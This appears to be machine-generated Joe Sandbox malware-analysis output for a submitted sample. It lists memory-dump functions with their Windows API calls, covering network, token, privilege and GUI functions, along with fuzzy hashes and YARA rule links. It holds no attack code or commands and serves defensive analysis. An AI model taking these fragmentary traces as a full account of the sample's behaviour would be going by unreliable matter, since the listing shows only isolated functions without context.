Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: a88deb40f8ca0acaf1cfc1f60247550990f49a6e07760bac1f07d019ec933db2
Instruction ID: adfc15eb562999b7b3c02067f442ae9a55e80930f5e3a5af7a0c262cd7876c55
Opcode Fuzzy Hash: a88deb40f8ca0acaf1cfc1f60247550990f49a6e07760bac1f07d019ec933db2
Instruction Fuzzy Hash: 2D217A71E40149EBDB04DFA5C949BFEBBB9FF54308F188059E488AB241DB30AE05CB50

Function 005B098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 005B09AE

Part of subcall function 00595A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,005F7896,?,?,00000000), ref: 00595A2C
Part of subcall function 00595A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,005F7896,?,?,00000000,?,?), ref: 00595A50

_fprintf.LIBCMT ref: 005B09E5
OutputDebugStringW.KERNEL32(?), ref: 005E5DBB

Part of subcall function 005B4AAA: _flsall.LIBCMT ref: 005B4AC3

__setmode.LIBCMT ref: 005B0A1A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 181306a4956cb3e7e99628a703af63e5dda66a9cad35e2ad121888677c1ad5f1
Instruction ID: 0a4f38cbd124ff07b0bb7d4e1c2d39ce6b72a4651cff0d027b1b67af40779d32
Opcode Fuzzy Hash: 181306a4956cb3e7e99628a703af63e5dda66a9cad35e2ad121888677c1ad5f1
Instruction Fuzzy Hash: EF11323190460A6BDB14B7B89C4E9FE7FA9FFC2320F240459F105571C3FE2069428BA0

Function 00601767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 006017A3

Part of subcall function 0060182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0060184C
Part of subcall function 0060182D: InternetCloseHandle.WININET(00000000), ref: 006018E9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 8eb3629dd777b78b953f457484441e4f3618623f29652ba857732f5be130434a
Instruction ID: 26d7521f2796d57c7c504aa5515c5af3e406a5d5f8f99cc7b42bba486327ba64
Opcode Fuzzy Hash: 8eb3629dd777b78b953f457484441e4f3618623f29652ba857732f5be130434a
Instruction Fuzzy Hash: 7E218031280605BBEB1A9F60DC01BBBBBEBFF49710F14802EF9159A690D771991197A4

Function 005F3A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0061FAC0), ref: 005F3A64
GetLastError.KERNEL32 ref: 005F3A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 005F3A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0061FAC0), ref: 005F3ADF

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 1067bc04f27a95314bb4ce61d785cd1000d68912ea8f91c95d63eff742bae2df
Instruction ID: 1234c8753e5ec5a9d9de3ef83eb54c0a86e017370cbc696ad1db0af6bb66c0bc
Opcode Fuzzy Hash: 1067bc04f27a95314bb4ce61d785cd1000d68912ea8f91c95d63eff742bae2df
Instruction Fuzzy Hash: E621B4741082098F9700DF35C8858BA7FE4BE59364F144A1AF4D9C72A1E735DE45CB42

Function 005C50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005C5101

Part of subcall function 005B571C: __FF_MSGBANNER.LIBCMT ref: 005B5733
Part of subcall function 005B571C: __NMSG_WRITE.LIBCMT ref: 005B573A
Part of subcall function 005B571C: RtlAllocateHeap.NTDLL(012B0000,00000000,00000001,00000000,?,?,?,005B0DD3,?), ref: 005B575F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 3db5b65ea1dd0281892f36a2b965057cbdaff53003f10f162beb179c78baa3e7
Instruction ID: 0ac1cbe81562d71be01a1d77a8c95e0cefb03b104a332110b352f047a5bbb8b4
Opcode Fuzzy Hash: 3db5b65ea1dd0281892f36a2b965057cbdaff53003f10f162beb179c78baa3e7
Instruction Fuzzy Hash: DC11A771500A16AECB212FF4AC4DFAE3F98BB443A1F18592EF98596151EE30A980C690

Function 005944A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005944CF

Part of subcall function 0059407C: _memset.LIBCMT ref: 005940FC
Part of subcall function 0059407C: _wcscpy.LIBCMT ref: 00594150
Part of subcall function 0059407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00594160

KillTimer.USER32(?,00000001,?,?), ref: 00594524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00594533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 005CD4B9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 7964a8d52cf9192924363cf098672436cba03d237ab054419ce705afa81c108d
Instruction ID: 5dbbeb979dac2d8864ecb78081e285984ea05cc84957c7f7ae2f2cc30fc7d498
Opcode Fuzzy Hash: 7964a8d52cf9192924363cf098672436cba03d237ab054419ce705afa81c108d
Instruction Fuzzy Hash: 1C21A1705047849FEB328B649899FE6BFECAB05314F04149EE79E96181C3B42A85CB51

Function 00606369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00595A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,005F7896,?,?,00000000), ref: 00595A2C
Part of subcall function 00595A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,005F7896,?,?,00000000,?,?), ref: 00595A50

gethostbyname.WSOCK32(?,?,?), ref: 00606399
WSAGetLastError.WSOCK32(00000000), ref: 006063A4
_memmove.LIBCMT ref: 006063D1
inet_ntoa.WSOCK32(?), ref: 006063DC

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 883dd8f3a7b9bba9242527c75fc625ca1817cb8fb0aa4fe82df08a4993095295
Instruction ID: fa21a0d85828c21a9fe2f5b4118888959a3b2f68b00a791fe89195ff8f77832d
Opcode Fuzzy Hash: 883dd8f3a7b9bba9242527c75fc625ca1817cb8fb0aa4fe82df08a4993095295
Instruction Fuzzy Hash: B711513150010AAFCF05FBA4DD4ADEE7BB9FF54310B144069F505A71A1EB30AE14CB61

Function 005E8B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 005E8B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 005E8B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 005E8B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 005E8BA4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9a24fe73a03afb5a583484540529c529b312f8564aa88b8ad43237d0d1db697a
Instruction ID: 5de0dacac84de5cd32eba2d5271bde74e05a593eb68514bf4809781b3432c05d
Opcode Fuzzy Hash: 9a24fe73a03afb5a583484540529c529b312f8564aa88b8ad43237d0d1db697a
Instruction Fuzzy Hash: BD111879901218FFEB11DFA5CC85FADBBB9FB48710F2040A5EA04B7290DA716E11DB94

Function 00591290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

DefDlgProcW.USER32(?,00000020,?), ref: 005912D8
GetClientRect.USER32(?,?), ref: 005CB5FB
GetCursorPos.USER32(?), ref: 005CB605
ScreenToClient.USER32(?,?), ref: 005CB610

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: afd1bd27ce533f2d78258121780f1822ad760b6eba04b0e9d267a473d786404f
Instruction ID: dfb8e7c6662c885aba1ed4fe370e3109949b5bef5154c0ba810386db9962b3fa
Opcode Fuzzy Hash: afd1bd27ce533f2d78258121780f1822ad760b6eba04b0e9d267a473d786404f
Instruction Fuzzy Hash: 38113A3950042AEFCF00EF99D9899EE7BBAFB45301F4044A6FA01E7141D730BA518BA9

Function 005ED831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 005ED84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 005ED864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 005ED879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 005ED897

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 0af825e5b67f5c42e7e24d35faa871dcc479f601051e270c77d726f1971e373a
Instruction ID: a473b64e4251728f13e9fda0444647bacc49f2ddf6913d54cdc7a00be0c8a4cf
Opcode Fuzzy Hash: 0af825e5b67f5c42e7e24d35faa871dcc479f601051e270c77d726f1971e373a
Instruction Fuzzy Hash: D2118EB5609344EBE324CF52DC08F92BBBCFB00B00F10896AA996C6050D7B1E5099BB1

Function 005C6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 005C6FDB

Part of subcall function 005C76C2: __fltout2.LIBCMT ref: 005C76EB

__cftog_l.LIBCMT ref: 005C7001
__cftoe_l.LIBCMT ref: 005C7033

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 2fe14e1dfe3d07d10267f4da0600512b4b2d561b4da3d2823e0bd99f74db5067
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: B6014B7244814EBFCF165EC5CC09DEE3F62BB1C390B588419FA1868831D636D9B1AF81

Function 0061B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0061B2E4
ScreenToClient.USER32(?,?), ref: 0061B2FC
ScreenToClient.USER32(?,?), ref: 0061B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0061B33B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 1d00c63b488ab9fb98b564226523d12713b919b77b3b1af9f4e9075a607ec4f2
Instruction ID: 708c9de74a29a85173d45420763288d393bb476b57e87080d441999a6f2ede52
Opcode Fuzzy Hash: 1d00c63b488ab9fb98b564226523d12713b919b77b3b1af9f4e9075a607ec4f2
Instruction Fuzzy Hash: 5C114779D00209EFDB41CF99C4449EEBBF5FF08310F149166E914E3220D735AA658F90

Function 005F6BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 005F6BE6

Part of subcall function 005F76C4: _memset.LIBCMT ref: 005F76F9

_memmove.LIBCMT ref: 005F6C09
_memset.LIBCMT ref: 005F6C16
LeaveCriticalSection.KERNEL32(?), ref: 005F6C26

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 422801a4f923ddec85c3944d0285721a3c5b500f292feddb81da00618ffb5618
Instruction ID: 220071adb91a5b0a5e35fd7b642f50c3f625ca244d3b95dfe1406b851c332c42
Opcode Fuzzy Hash: 422801a4f923ddec85c3944d0285721a3c5b500f292feddb81da00618ffb5618
Instruction Fuzzy Hash: 79F0547A100104ABCF016F95DC89A9ABF2AFF85321F08C061FE085E267C735E911CBB4

Function 00592218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00592231
SetTextColor.GDI32(?,000000FF), ref: 0059223B
SetBkMode.GDI32(?,00000001), ref: 00592250
GetStockObject.GDI32(00000005), ref: 00592258
GetWindowDC.USER32(?,00000000), ref: 005CBE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 005CBE90
GetPixel.GDI32(00000000,?,00000000), ref: 005CBEA9
GetPixel.GDI32(00000000,00000000,?), ref: 005CBEC2
GetPixel.GDI32(00000000,?,?), ref: 005CBEE2
ReleaseDC.USER32(?,00000000), ref: 005CBEED

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 12cc2b9918cad70598f55fdd80956ea811ea3d73dd28e49ffc0ef91c52423624
Instruction ID: 92d3300616025627b45284c4e92280ea234e16a4185267acaf6b821a04c725bc
Opcode Fuzzy Hash: 12cc2b9918cad70598f55fdd80956ea811ea3d73dd28e49ffc0ef91c52423624
Instruction Fuzzy Hash: 9FE01C31144144BAEF215BA4AC0ABD83F12EB15332F14836AFA69480E1C7724980DB12

Function 005E8712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 005E871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,005E82E6), ref: 005E8722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,005E82E6), ref: 005E872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,005E82E6), ref: 005E8736

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: b0f128c94de75d2509f4f61f6926df72c57cc64d99feafeea5a9fa7fbdfe4f0c
Instruction ID: 50f333c33ddd0de142915e1aec178b02d6e20504f32859b6dabeb41902212d54
Opcode Fuzzy Hash: b0f128c94de75d2509f4f61f6926df72c57cc64d99feafeea5a9fa7fbdfe4f0c
Instruction Fuzzy Hash: 65E086366112119FDB209FB15D0CFDA3BADEF54792F19C829F689C9050DA348441C750

Function 00596240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%b, xrefs: 0059624E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID: %b
API String ID: 0-2944287759
Opcode ID: b22a2c70395911ae942efa15a714a5e7bcea4ce39587534a37f59a21c20a0741
Instruction ID: 594afc32571811322918e34507e9581186ec50b459ffe80404b18ac17ee4e93d
Opcode Fuzzy Hash: b22a2c70395911ae942efa15a714a5e7bcea4ce39587534a37f59a21c20a0741
Instruction Fuzzy Hash: 3BB1B47580020A9BCF15EFD4C495AFEBFB9FF48310F544426E506A7191EB349E89CB91

Function 0060AEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 0060AFAE

Strings

xbe, xrefs: 0060AFE4
xbe, xrefs: 0060B010

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __itow_s
String ID: xbe$xbe
API String ID: 3653519197-1235520045
Opcode ID: b11f99b1dca5093f4551531f7536467429a30fbf3d59917ceb71319191039a72
Instruction ID: 5169f0dde7f33829fcdeb363e820a93fbc1d3f1905a95ba1ca8bfe295bfd226c
Opcode Fuzzy Hash: b11f99b1dca5093f4551531f7536467429a30fbf3d59917ceb71319191039a72
Instruction Fuzzy Hash: DBB16E70A4020AABCF18DF54C895EFBBBBAFF59300F148459F9459B291EB70E941CB50

Function 005FAFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 005AFC86: _wcscpy.LIBCMT ref: 005AFCA9

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

__wcsnicmp.LIBCMT ref: 005FB02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 005FB0F6

Strings

LPT, xrefs: 005FB027

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
